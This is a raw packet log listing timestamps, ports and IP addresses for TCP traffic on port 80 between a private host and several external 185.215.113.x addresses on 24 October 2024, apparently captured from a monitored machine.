Oct 24, 2024 09:07:33.185024023 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:33.185051918 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:33.185075998 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:33.185092926 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:33.185132980 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:33.185151100 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:33.185165882 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:33.185188055 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:33.185205936 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:33.185245037 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:33.185260057 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:33.185288906 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:33.185306072 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:33.185323954 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:33.185359001 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:33.185384989 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:33.185403109 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:33.185436010 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:33.185450077 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:33.185480118 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:33.185528040 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:33.185532093 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:33.185561895 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:33.185600042 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:33.185632944 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:33.185652018 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:33.185678959 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:33.185682058 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:33.185712099 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:33.185729027 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:33.185746908 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:33.185779095 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:33.185791969 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:33.185821056 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:33.185837984 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:33.185878992 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:33.185883045 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:33.185911894 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:33.185942888 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:33.185975075 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:33.186021090 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:33.186024904 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:33.186053991 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:33.186072111 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:33.186116934 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:33.186120987 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:33.186148882 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:33.186166048 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:33.186180115 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:33.186203003 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:33.186203003 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:33.186233044 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:33.186254025 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:33.186288118 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:33.186299086 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:33.186330080 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:33.186348915 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:33.186394930 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:33.186398983 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:33.186428070 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:33.186445951 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:33.186465979 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:33.186484098 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:33.186530113 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:33.186579943 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:33.186583042 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:33.186606884 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:33.186614990 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:33.186630964 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:33.186641932 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:33.186645031 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:33.186656952 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:33.186662912 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:33.186676025 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:33.186682940 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:33.186692953 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:33.186702013 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:33.186708927 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:33.186717033 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:33.186727047 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:33.186738968 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:33.186747074 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:33.186753035 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:33.186764956 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:33.186779976 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:33.186786890 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:33.186796904 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:33.186809063 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:33.186819077 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:33.186825991 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:33.186832905 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:33.186841011 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:33.186849117 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:33.186856985 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:33.186866999 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:33.186881065 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:33.186889887 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:33.186899900 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:33.186913967 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:33.186922073 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:33.186933994 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:33.186943054 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:33.186953068 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:33.186960936 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:33.186970949 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:33.186978102 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:33.186997890 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:33.187004089 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:33.187010050 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:33.187021971 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:33.187031031 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:33.187043905 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:33.187052011 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:33.187064886 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:33.187074900 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:33.187083960 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:33.187093019 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:33.187100887 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:33.187110901 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:33.187124014 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:33.187130928 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:33.187135935 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:33.187150002 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:33.187155008 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:33.187161922 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:33.187171936 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:33.187181950 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:33.187187910 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:33.187200069 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:33.187207937 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:33.187218904 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:33.187232018 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:33.187239885 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:33.187249899 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:33.187257051 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:33.187273026 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:33.187280893 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:33.187290907 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:33.187304020 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:33.187309980 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:33.187326908 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:33.187340021 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:33.187349081 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:33.187371016 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:33.187386036 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:33.187393904 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:33.187405109 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:33.187416077 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:33.187422991 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:33.187433004 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:33.187449932 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:33.187460899 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:33.187470913 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:33.187486887 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:33.187494993 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:33.187505960 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:33.187517881 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:33.187525988 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:33.187532902 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:33.187542915 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:33.187552929 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:33.187566996 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:33.187576056 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:33.187583923 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:33.187593937 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:33.187607050 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:33.187614918 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:33.187627077 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:33.187638044 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:33.187644005 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:33.187655926 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:33.187666893 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:33.187674999 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:33.187700033 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:33.187730074 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:33.187748909 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:33.187757969 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:33.187772989 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:33.187783003 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:33.187788963 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:33.187810898 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:33.187903881 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:33.187911987 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:33.187920094 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:33.187927008 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:33.187935114 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:33.187942982 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:33.187951088 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:33.187961102 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:33.187966108 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:33.187975883 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:33.187992096 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:33.193208933 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:33.193238020 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:33.193247080 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:33.193265915 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:33.193285942 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:33.193298101 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:33.193314075 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:33.193321943 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:33.193339109 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:33.193346977 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:33.193352938 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:33.193368912 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:33.193380117 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:33.193428993 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:33.213722944 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:33.214847088 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:34.131863117 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:39.696728945 CEST	49859	80	192.168.2.6	185.215.113.37
Oct 24, 2024 09:07:39.702064037 CEST	80	49859	185.215.113.37	192.168.2.6
Oct 24, 2024 09:07:39.702156067 CEST	49859	80	192.168.2.6	185.215.113.37
Oct 24, 2024 09:07:39.702703953 CEST	49859	80	192.168.2.6	185.215.113.37
Oct 24, 2024 09:07:39.707974911 CEST	80	49859	185.215.113.37	192.168.2.6
Oct 24, 2024 09:07:40.628094912 CEST	80	49859	185.215.113.37	192.168.2.6
Oct 24, 2024 09:07:40.628161907 CEST	49859	80	192.168.2.6	185.215.113.37
Oct 24, 2024 09:07:40.631494045 CEST	49859	80	192.168.2.6	185.215.113.37
Oct 24, 2024 09:07:40.637018919 CEST	80	49859	185.215.113.37	192.168.2.6
Oct 24, 2024 09:07:40.924982071 CEST	80	49859	185.215.113.37	192.168.2.6
Oct 24, 2024 09:07:40.925045013 CEST	49859	80	192.168.2.6	185.215.113.37
Oct 24, 2024 09:07:44.839540958 CEST	49859	80	192.168.2.6	185.215.113.37
Oct 24, 2024 09:08:05.990268946 CEST	49995	80	192.168.2.6	185.215.113.43
Oct 24, 2024 09:08:05.995839119 CEST	80	49995	185.215.113.43	192.168.2.6
Oct 24, 2024 09:08:05.996133089 CEST	49995	80	192.168.2.6	185.215.113.43
Oct 24, 2024 09:08:06.013384104 CEST	49995	80	192.168.2.6	185.215.113.43
Oct 24, 2024 09:08:06.018925905 CEST	80	49995	185.215.113.43	192.168.2.6
Oct 24, 2024 09:08:06.925574064 CEST	80	49995	185.215.113.43	192.168.2.6
Oct 24, 2024 09:08:06.928462982 CEST	49995	80	192.168.2.6	185.215.113.43
Oct 24, 2024 09:08:08.441991091 CEST	49995	80	192.168.2.6	185.215.113.43
Oct 24, 2024 09:08:08.442333937 CEST	49996	80	192.168.2.6	185.215.113.43
Oct 24, 2024 09:08:08.447736979 CEST	80	49995	185.215.113.43	192.168.2.6
Oct 24, 2024 09:08:08.447777987 CEST	80	49996	185.215.113.43	192.168.2.6
Oct 24, 2024 09:08:08.447823048 CEST	49995	80	192.168.2.6	185.215.113.43
Oct 24, 2024 09:08:08.447870016 CEST	49996	80	192.168.2.6	185.215.113.43
Oct 24, 2024 09:08:08.447981119 CEST	49996	80	192.168.2.6	185.215.113.43
Oct 24, 2024 09:08:08.453306913 CEST	80	49996	185.215.113.43	192.168.2.6
Oct 24, 2024 09:08:09.385687113 CEST	80	49996	185.215.113.43	192.168.2.6
Oct 24, 2024 09:08:09.385767937 CEST	49996	80	192.168.2.6	185.215.113.43
Oct 24, 2024 09:08:09.388329029 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:09.393935919 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:09.394016981 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:09.394099951 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:09.399522066 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:10.306121111 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:10.306205988 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:10.306241989 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:10.306278944 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:10.306313038 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:10.306320906 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:10.306349993 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:10.306405067 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:10.306436062 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:10.306566000 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:10.306616068 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:10.306619883 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:10.306652069 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:10.306665897 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:10.306688070 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:10.306701899 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:10.306731939 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:10.311774015 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:10.311844110 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:10.311863899 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:10.311893940 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:10.311955929 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:10.311985970 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:10.312006950 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:10.312028885 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:10.463812113 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:10.463849068 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:10.463866949 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:10.463891983 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:10.463891983 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:10.463901043 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:10.463920116 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:10.463937044 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:10.463937998 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:10.463948965 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:10.463951111 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:10.463969946 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:10.463984966 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:10.463988066 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:10.464004993 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:10.464024067 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:10.464813948 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:10.464864969 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:10.464873075 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:10.464893103 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:10.464910030 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:10.464919090 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:10.464932919 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:10.464953899 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:10.581779003 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:10.581840992 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:10.581887007 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:10.581901073 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:10.581913948 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:10.581939936 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:10.581958055 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:10.581978083 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:10.581985950 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:10.582014084 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:10.582020998 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:10.582051039 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:10.582056999 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:10.582093000 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:10.582096100 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:10.582130909 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:10.582134962 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:10.582169056 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:10.582174063 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:10.582211971 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:10.582722902 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:10.582890987 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:10.621669054 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:10.621716022 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:10.621776104 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:10.621814966 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:10.698863983 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:10.698940992 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:10.698970079 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:10.698980093 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:10.699001074 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:10.699018002 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:10.699023008 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:10.699054956 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:10.699063063 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:10.699093103 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:10.699100018 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:10.699131966 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:10.699132919 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:10.699170113 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:10.699444056 CEST	80	49997	185.215.113.16	192.168.2.6
